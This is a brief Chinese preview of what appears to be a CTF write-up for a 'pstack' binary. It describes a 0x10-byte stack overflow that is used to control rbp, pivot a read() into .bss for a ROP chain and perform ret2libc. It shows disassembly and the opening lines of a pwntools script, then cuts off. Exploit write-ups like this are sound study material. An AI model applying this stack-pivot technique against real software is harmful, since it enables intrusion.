文章预览
pstack 溢出0x10个字节,控制rbp,返回这个位置,读rop链到bss段,走ret2libc。 .text:00000000004006BF call puts .text:00000000004006C4 lea rax, [rbp+buf] .text:00000000004006C8 mov edx, 40h ; '@' ; nbytes .text:00000000004006CD mov rsi, rax ; buf .text:00000000004006D0 mov edi, 0 ; fd .text:00000000004006D5 call read .text:00000000004006DA nop .text:00000000004006DB leave .text:00000000004006DC retn ;控制rbp即可控制写入位置 from pwn import * #from Crypto.Util.number import bytes_to_long,bytes_to_long #--------------------setting context--------------------- c
………………………………